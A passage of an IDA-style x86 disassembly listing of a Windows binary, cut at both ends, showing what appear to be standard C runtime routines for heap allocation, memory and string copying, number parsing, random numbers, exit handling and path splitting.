call sub_41E0C2
add esp, 18h
loc_41B49E: ; CODE XREF: sub_41B3F2+74j
test edi, edi
jnz short loc_41B4E5
loc_41B4A2: ; CODE XREF: sub_41B3F2+62j
; sub_41B3F2+81j
test esi, esi
jnz short loc_41B4A9
push 1
pop esi
loc_41B4A9: ; CODE XREF: sub_41B3F2+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push ds:dword_4DF544
call ds:dword_428148 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41B4E5
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41B4D1
mov eax, esi
loc_41B4D1: ; CODE XREF: sub_41B3F2+DBj
push eax
push ecx
push edi
call sub_41C500
push [ebp+arg_0]
push ebx
call sub_41E0C2
add esp, 14h
loc_41B4E5: ; CODE XREF: sub_41B3F2+AEj
; sub_41B3F2+D0j
test ebx, ebx
jnz short loc_41B50A
loc_41B4E9: ; CODE XREF: sub_41B3F2+56j
test esi, esi
jnz short loc_41B4F0
push 1
pop esi
loc_41B4F0: ; CODE XREF: sub_41B3F2+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push ds:dword_4DF544
call ds:dword_42819C ; RtlReAllocateHeap
mov edi, eax
loc_41B50A: ; CODE XREF: sub_41B3F2+F5j
test edi, edi
jnz short loc_41B52B
loc_41B50E: ; CODE XREF: sub_41B3F2+43j
cmp ds:dword_4DDF3C, 0
jz short loc_41B52B
push esi
call sub_41F532
test eax, eax
pop ecx
jnz loc_41B430
jmp loc_41B68B
; ---------------------------------------------------------------------------
loc_41B52B: ; CODE XREF: sub_41B3F2+11Aj
; sub_41B3F2+123j ...
mov eax, edi
jmp loc_41B68D
; ---------------------------------------------------------------------------
loc_41B532: ; CODE XREF: sub_41B3F2+38j
cmp eax, 2
jnz loc_41B64D
cmp esi, 0FFFFFFE0h
ja short loc_41B54F
test esi, esi
jbe short loc_41B54C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41B54F
; ---------------------------------------------------------------------------
loc_41B54C: ; CODE XREF: sub_41B3F2+150j
push 10h
pop esi
loc_41B54F: ; CODE XREF: sub_41B3F2+14Cj
; sub_41B3F2+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B62F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41EDF2
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41B613
cmp esi, ds:dword_43EF84
jnb short loc_41B5D7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F1BA
add esp, 10h
test eax, eax
jz short loc_41B59D
mov edi, [ebp+arg_0]
jmp short loc_41B5CF
; ---------------------------------------------------------------------------
loc_41B59D: ; CODE XREF: sub_41B3F2+1A4j
push edi
call sub_41EE8E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B5D7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B5B6
mov eax, esi
loc_41B5B6: ; CODE XREF: sub_41B3F2+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_41C500
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EE49
add esp, 18h
loc_41B5CF: ; CODE XREF: sub_41B3F2+1A9j
test edi, edi
jnz loc_41B52B
loc_41B5D7: ; CODE XREF: sub_41B3F2+18Bj
; sub_41B3F2+1B6j
push esi
push 0
push ds:dword_4DF544
call ds:dword_428148 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41B62F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B5F8
mov eax, esi
loc_41B5F8: ; CODE XREF: sub_41B3F2+202j
push eax
push [ebp+arg_0]
push edi
call sub_41C500
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EE49
add esp, 18h
jmp short loc_41B627
; ---------------------------------------------------------------------------
loc_41B613: ; CODE XREF: sub_41B3F2+17Fj
push esi
push [ebp+arg_0]
push 0
push ds:dword_4DF544
call ds:dword_42819C ; RtlReAllocateHeap
mov edi, eax
loc_41B627: ; CODE XREF: sub_41B3F2+21Fj
test edi, edi
jnz loc_41B52B
loc_41B62F: ; CODE XREF: sub_41B3F2+162j
; sub_41B3F2+1F8j
cmp ds:dword_4DDF3C, 0
jz loc_41B52B
push esi
call sub_41F532
test eax, eax
pop ecx
jnz loc_41B54F
jmp short loc_41B68B
; ---------------------------------------------------------------------------
loc_41B64D: ; CODE XREF: sub_41B3F2+143j
; sub_41B3F2+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41B677
test esi, esi
jnz short loc_41B65B
push 1
pop esi
loc_41B65B: ; CODE XREF: sub_41B3F2+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push ds:dword_4DF544
call ds:dword_42819C ; RtlReAllocateHeap
test eax, eax
jnz short loc_41B68D
loc_41B677: ; CODE XREF: sub_41B3F2+260j
cmp ds:dword_4DDF3C, 0
jz short loc_41B68D
push esi
call sub_41F532
test eax, eax
pop ecx
jnz short loc_41B64D
loc_41B68B: ; CODE XREF: sub_41B3F2+2Bj
; sub_41B3F2+134j ...
xor eax, eax
loc_41B68D: ; CODE XREF: sub_41B3F2+16j
; sub_41B3F2+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B3F2 endp
; =============== S U B R O U T I N E =======================================
sub_41B692 proc near ; CODE XREF: sub_41B6B2+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41F6BD
test eax, eax
jnz short loc_41B69C
retn
; ---------------------------------------------------------------------------
loc_41B69C: ; CODE XREF: sub_41B692+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41F54D
add esp, 10h
retn
sub_41B692 endp
; =============== S U B R O U T I N E =======================================
sub_41B6B2 proc near ; CODE XREF: seg000:004010DAp
; seg000:00407326p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41B692
add esp, 0Ch
retn
sub_41B6B2 endp
; =============== S U B R O U T I N E =======================================
sub_41B6C5 proc near ; CODE XREF: seg000:004010C8p
; sub_40AA20+5Fp ...
arg_0 = dword ptr 4
push ds:dword_4DDF3C
push [esp+4+arg_0]
call sub_41B6D7
pop ecx
pop ecx
retn
sub_41B6C5 endp
; =============== S U B R O U T I N E =======================================
sub_41B6D7 proc near ; CODE XREF: sub_41B6C5+Ap
; sub_41D1B5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41B700
loc_41B6DE: ; CODE XREF: sub_41B6D7+27j
push [esp+arg_0]
call sub_41B703
test eax, eax
pop ecx
jnz short locret_41B702
cmp [esp+arg_4], eax
jz short locret_41B702
push [esp+arg_0]
call sub_41F532
test eax, eax
pop ecx
jnz short loc_41B6DE
loc_41B700: ; CODE XREF: sub_41B6D7+5j
xor eax, eax
locret_41B702: ; CODE XREF: sub_41B6D7+13j
; sub_41B6D7+19j
retn
sub_41B6D7 endp
; =============== S U B R O U T I N E =======================================
sub_41B703 proc near ; CODE XREF: sub_41B6D7+Bp
arg_0 = dword ptr 4
mov eax, ds:dword_4DF548
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41B727
cmp esi, ds:dword_4DF540
ja short loc_41B759
push esi
call sub_41E3EB
test eax, eax
pop ecx
jz short loc_41B759
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B727: ; CODE XREF: sub_41B703+Dj
cmp eax, 2
jnz short loc_41B759
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41B73C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41B73F
; ---------------------------------------------------------------------------
loc_41B73C: ; CODE XREF: sub_41B703+2Fj
push 10h
pop esi
loc_41B73F: ; CODE XREF: sub_41B703+37j
cmp esi, ds:dword_43EF84
ja short loc_41B766
mov eax, esi
shr eax, 4
push eax
call sub_41EE8E
test eax, eax
pop ecx
jnz short loc_41B775
jmp short loc_41B766
; ---------------------------------------------------------------------------
loc_41B759: ; CODE XREF: sub_41B703+15j
; sub_41B703+20j ...
test esi, esi
jnz short loc_41B760
push 1
pop esi
loc_41B760: ; CODE XREF: sub_41B703+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41B766: ; CODE XREF: sub_41B703+42j
; sub_41B703+54j
push esi
push 0
push ds:dword_4DF544
call ds:dword_428148 ; RtlAllocateHeap
loc_41B775: ; CODE XREF: sub_41B703+52j
pop esi
retn
sub_41B703 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B780 proc near ; CODE XREF: sub_401132+3Cp
; sub_401132+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41B7D3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41B7C7
neg ecx
and ecx, 3
jz short loc_41B7A9
sub edx, ecx
loc_41B7A3: ; CODE XREF: sub_41B780+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41B7A3
loc_41B7A9: ; CODE XREF: sub_41B780+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41B7C7
rep stosd
test edx, edx
jz short loc_41B7CD
loc_41B7C7: ; CODE XREF: sub_41B780+18j
; sub_41B780+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41B7C7
loc_41B7CD: ; CODE XREF: sub_41B780+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B7D3: ; CODE XREF: sub_41B780+Aj
mov eax, [esp+arg_0]
retn
sub_41B780 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B7E0 proc near ; CODE XREF: sub_401875+98p
; seg000:00401B9Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41B863
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41B804
shr ecx, 2
jnz short loc_41B871
jmp short loc_41B825
; ---------------------------------------------------------------------------
loc_41B804: ; CODE XREF: sub_41B7E0+1Bj
; sub_41B7E0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41B832
test al, al
jz short loc_41B83A
test esi, 3
jnz short loc_41B804
mov ebx, ecx
shr ecx, 2
jnz short loc_41B871
loc_41B820: ; CODE XREF: sub_41B7E0+8Fj
and ebx, 3
jz short loc_41B832
loc_41B825: ; CODE XREF: sub_41B7E0+22j
; sub_41B7E0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41B85E
dec ebx
jnz short loc_41B825
loc_41B832: ; CODE XREF: sub_41B7E0+2Bj
; sub_41B7E0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B83A: ; CODE XREF: sub_41B7E0+2Fj
test edi, 3
jz short loc_41B854
loc_41B842: ; CODE XREF: sub_41B7E0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41B8D6
test edi, 3
jnz short loc_41B842
loc_41B854: ; CODE XREF: sub_41B7E0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41B8C7
loc_41B85B: ; CODE XREF: sub_41B7E0+7Fj
; sub_41B7E0+F4j
mov [edi], al
inc edi
loc_41B85E: ; CODE XREF: sub_41B7E0+4Dj
dec ebx
jnz short loc_41B85B
pop ebx
pop esi
loc_41B863: ; CODE XREF: sub_41B7E0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B869: ; CODE XREF: sub_41B7E0+A9j
; sub_41B7E0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41B820
loc_41B871: ; CODE XREF: sub_41B7E0+20j
; sub_41B7E0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41B869
test dl, dl
jz short loc_41B8BB
test dh, dh
jz short loc_41B8B1
test edx, 0FF0000h
jz short loc_41B8A7
test edx, 0FF000000h
jnz short loc_41B869
mov [edi], edx
jmp short loc_41B8BF
; ---------------------------------------------------------------------------
loc_41B8A7: ; CODE XREF: sub_41B7E0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41B8BF
; ---------------------------------------------------------------------------
loc_41B8B1: ; CODE XREF: sub_41B7E0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41B8BF
; ---------------------------------------------------------------------------
loc_41B8BB: ; CODE XREF: sub_41B7E0+ADj
xor edx, edx
mov [edi], edx
loc_41B8BF: ; CODE XREF: sub_41B7E0+C5j
; sub_41B7E0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41B8D1
loc_41B8C7: ; CODE XREF: sub_41B7E0+79j
xor eax, eax
loc_41B8C9: ; CODE XREF: sub_41B7E0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41B8C9
loc_41B8D1: ; CODE XREF: sub_41B7E0+E5j
and ebx, 3
jnz short loc_41B85B
loc_41B8D6: ; CODE XREF: sub_41B7E0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41B7E0 endp
; =============== S U B R O U T I N E =======================================
sub_41B8DE proc near ; CODE XREF: sub_41B969+4p
; sub_424A3C+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41B8E6: ; CODE XREF: sub_41B8DE+34j
cmp ds:dword_43F194, 1
jle short loc_41B8FE
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41F735
pop ecx
pop ecx
jmp short loc_41B90D
; ---------------------------------------------------------------------------
loc_41B8FE: ; CODE XREF: sub_41B8DE+Fj
movzx eax, byte ptr [edi]
mov ecx, ds:off_43EF88
mov al, [ecx+eax*2]
and eax, 8
loc_41B90D: ; CODE XREF: sub_41B8DE+1Ej
test eax, eax
jz short loc_41B914
inc edi
jmp short loc_41B8E6
; ---------------------------------------------------------------------------
loc_41B914: ; CODE XREF: sub_41B8DE+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41B924
cmp esi, 2Bh
jnz short loc_41B928
loc_41B924: ; CODE XREF: sub_41B8DE+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41B928: ; CODE XREF: sub_41B8DE+44j
xor ebx, ebx
loc_41B92A: ; CODE XREF: sub_41B8DE+7Bj
cmp ds:dword_43F194, 1
jle short loc_41B93F
push 4
push esi
call sub_41F735
pop ecx
pop ecx
jmp short loc_41B94A
; ---------------------------------------------------------------------------
loc_41B93F: ; CODE XREF: sub_41B8DE+53j
mov eax, ds:off_43EF88
mov al, [eax+esi*2]
and eax, 4
loc_41B94A: ; CODE XREF: sub_41B8DE+5Fj
test eax, eax
jz short loc_41B95B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41B92A
; ---------------------------------------------------------------------------
loc_41B95B: ; CODE XREF: sub_41B8DE+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41B964
neg eax
loc_41B964: ; CODE XREF: sub_41B8DE+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41B8DE endp
; =============== S U B R O U T I N E =======================================
sub_41B969 proc near ; CODE XREF: seg000:004021F3p
; seg000:00402457p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B8DE
pop ecx
retn
sub_41B969 endp
; =============== S U B R O U T I N E =======================================
sub_41B974 proc near ; CODE XREF: seg000:0041DBE6p
mov eax, ds:off_43CF2C
test eax, eax
jz short loc_41B97F
call eax ; sub_41C938
loc_41B97F: ; CODE XREF: sub_41B974+7j
push offset dword_42A030
push offset dword_42A01C
call sub_41BA5C
push offset dword_42A018
push offset dword_42A000
call sub_41BA5C
add esp, 10h
retn
sub_41B974 endp
; =============== S U B R O U T I N E =======================================
sub_41B9A1 proc near ; CODE XREF: seg000:0041DC25p
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_41B9C3
add esp, 0Ch
retn
sub_41B9A1 endp
; =============== S U B R O U T I N E =======================================
sub_41B9B2 proc near ; CODE XREF: seg000:0041DC44p
; sub_41DC49+1Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41B9C3
add esp, 0Ch
retn
sub_41B9B2 endp
; =============== S U B R O U T I N E =======================================
sub_41B9C3 proc near ; CODE XREF: sub_41B9A1+8p
; sub_41B9B2+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp ds:dword_4DDEFC, edi
jnz short loc_41B9E0
push [esp+4+arg_0]
call near ptr 0B10000h
sbb edx, [eax-18h]
and [esi+6Fh], eax
add dl, ch
loc_41B9E0: ; CODE XREF: sub_41B9C3+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov ds:dword_4DDEF8, edi
mov ds:byte_4DDEF4, bl
jnz short loc_41BA34
mov eax, ds:dword_4DF55C
test eax, eax
jz short loc_41BA23
mov ecx, ds:dword_4DF558
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41BA22
loc_41BA0F: ; CODE XREF: sub_41B9C3+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41BA17
call eax
loc_41BA17: ; CODE XREF: sub_41B9C3+50j
sub esi, 4
cmp esi, ds:dword_4DF55C
jnb short loc_41BA0F
loc_41BA22: ; CODE XREF: sub_41B9C3+4Aj
pop esi
loc_41BA23: ; CODE XREF: sub_41B9C3+3Cj
push offset dword_42A03C
push offset dword_42A034
call sub_41BA5C
pop ecx
pop ecx
loc_41BA34: ; CODE XREF: sub_41B9C3+33j
push offset dword_42A048
push offset dword_42A040
call sub_41BA5C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41BA5A
push [esp+4+arg_0]
mov ds:dword_4DDEFC, edi
call ds:dword_428068 ; ExitProcess
loc_41BA5A: ; CODE XREF: sub_41B9C3+85j
pop edi
retn
sub_41B9C3 endp
; =============== S U B R O U T I N E =======================================
sub_41BA5C proc near ; CODE XREF: sub_41B974+15p
; sub_41B974+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41BA61: ; CODE XREF: sub_41BA5C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41BA74
mov eax, [esi]
test eax, eax
jz short loc_41BA6F
call eax
loc_41BA6F: ; CODE XREF: sub_41BA5C+Fj
add esi, 4
jmp short loc_41BA61
; ---------------------------------------------------------------------------
loc_41BA74: ; CODE XREF: sub_41BA5C+9j
pop esi
retn
sub_41BA5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA76 proc near ; CODE XREF: sub_4019DB+5Bp
; seg000:00401E66p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41F8BF
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41BAB6
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41BAC3
; ---------------------------------------------------------------------------
loc_41BAB6: ; CODE XREF: sub_41BA76+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F7AA
pop ecx
pop ecx
loc_41BAC3: ; CODE XREF: sub_41BA76+3Ej
mov eax, esi
pop esi
leave
retn
sub_41BA76 endp
; =============== S U B R O U T I N E =======================================
sub_41BAC8 proc near ; CODE XREF: seg000:0040127Bp
; seg000:00404CB8p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ds:dword_43CF10, eax
retn
sub_41BAC8 endp
; =============== S U B R O U T I N E =======================================
sub_41BAD2 proc near ; CODE XREF: seg000:loc_40285Dp
; seg000:00404FD1p ...
mov eax, ds:dword_43CF10
imul eax, 343FDh
add eax, 269EC3h
mov ds:dword_43CF10, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41BAD2 endp
; =============== S U B R O U T I N E =======================================
sub_41BAF0 proc near ; CODE XREF: seg000:00401BD6p
; seg000:00401D81p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41BB6A
mov dh, [ecx+1]
test dh, dh
jz short loc_41BB57
loc_41BB08: ; CODE XREF: sub_41BAF0+52j
; sub_41BAF0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41BB2A
test al, al
jz short loc_41BB24
loc_41BB19: ; CODE XREF: sub_41BAF0+32j
mov al, [esi]
inc esi
loc_41BB1C: ; CODE XREF: sub_41BAF0+3Fj
cmp al, dl
jz short loc_41BB2A
test al, al
jnz short loc_41BB19
loc_41BB24: ; CODE XREF: sub_41BAF0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41BB2A: ; CODE XREF: sub_41BAF0+23j
; sub_41BAF0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41BB1C
lea edi, [esi-1]
loc_41BB34: ; CODE XREF: sub_41BAF0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41BB63
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41BB08
mov al, [ecx+3]
test al, al
jz short loc_41BB63
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41BB34
jmp short loc_41BB08
; ---------------------------------------------------------------------------
loc_41BB57: ; CODE XREF: sub_41BAF0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41C1A6
; ---------------------------------------------------------------------------
loc_41BB63: ; CODE XREF: sub_41BAF0+49j
; sub_41BAF0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BB6A: ; CODE XREF: sub_41BAF0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41BAF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB70 proc near ; CODE XREF: seg000:004036E6p
; seg000:00403717p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41F8BF
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41BBAF
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41BBBC
; ---------------------------------------------------------------------------
loc_41BBAF: ; CODE XREF: sub_41BB70+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F7AA
pop ecx
pop ecx
loc_41BBBC: ; CODE XREF: sub_41BB70+3Dj
mov eax, esi
pop esi
leave
retn
sub_41BB70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBC1 proc near ; CODE XREF: seg000:00403C38p
; sub_41AC18+1E3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41B1D0
cmp eax, 1
pop ecx
jb short loc_41BBFC
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41BBFC
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41BBF8
push 2
push ebx
push esi
call sub_4204A9
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41BBF8: ; CODE XREF: sub_41BBC1+25j
inc ebx
inc ebx
jmp short loc_41BC06
; ---------------------------------------------------------------------------
loc_41BBFC: ; CODE XREF: sub_41BBC1+18j
; sub_41BBC1+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41BC06
and byte ptr [eax], 0
loc_41BC06: ; CODE XREF: sub_41BBC1+39j
; sub_41BBC1+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41BC7E
loc_41BC19: ; CODE XREF: sub_41BBC1+87j
mov cl, [eax]
movzx edx, cl
test ds:byte_4DF421[edx], 4
jz short loc_41BC2A
inc eax
jmp short loc_41BC44
; ---------------------------------------------------------------------------
loc_41BC2A: ; CODE XREF: sub_41BBC1+64j
cmp cl, 2Fh
jz short loc_41BC3E
cmp cl, 5Ch
jz short loc_41BC3E
cmp cl, 2Eh
jnz short loc_41BC44
mov [ebp+var_4], eax
jmp short loc_41BC44
; ---------------------------------------------------------------------------
loc_41BC3E: ; CODE XREF: sub_41BBC1+6Cj
; sub_41BBC1+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41BC44: ; CODE XREF: sub_41BBC1+67j
; sub_41BBC1+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41BC19
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41BC7E
cmp [ebp+arg_8], 0
jz short loc_41BC79
sub edi, ebx
cmp edi, esi
jb short loc_41BC62
mov edi, esi
loc_41BC62: ; CODE XREF: sub_41BBC1+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_4204A9
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41BC79: ; CODE XREF: sub_41BBC1+97j
mov ebx, [ebp+arg_4]
jmp short loc_41BC88
; ---------------------------------------------------------------------------
loc_41BC7E: ; CODE XREF: sub_41BBC1+56j
; sub_41BBC1+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41BC88
and byte ptr [ecx], 0
loc_41BC88: ; CODE XREF: sub_41BBC1+BBj
; sub_41BBC1+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41BCDB
cmp edi, ebx
jb short loc_41BCDB
cmp [ebp+arg_C], 0
jz short loc_41BCB8
sub edi, ebx
cmp edi, esi
jb short loc_41BCA1
mov edi, esi
loc_41BCA1: ; CODE XREF: sub_41BBC1+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_4204A9
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41BCB8: ; CODE XREF: sub_41BBC1+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41BD03
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41BCC8
mov esi, eax
loc_41BCC8: ; CODE XREF: sub_41BBC1+103j
push esi
push [ebp+var_4]
push edi
call sub_4204A9
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41BD03
; ---------------------------------------------------------------------------
loc_41BCDB: ; CODE XREF: sub_41BBC1+CCj
; sub_41BBC1+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41BCF9
sub eax, ebx
cmp eax, esi
jnb short loc_41BCEA
mov esi, eax
loc_41BCEA: ; CODE XREF: sub_41BBC1+125j
push esi
push ebx
push edi
call sub_4204A9
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41BCF9: ; CODE XREF: sub_41BBC1+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41BD03
and byte ptr [eax], 0
loc_41BD03: ; CODE XREF: sub_41BBC1+FCj
; sub_41BBC1+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BBC1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BD10 proc near ; CODE XREF: sub_4019DB+8p
; seg000:00401B52p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41BD30
loc_41BD1C: ; CODE XREF: sub_41BD10+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41BD1C
loc_41BD30: ; CODE XREF: sub_41BD10+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
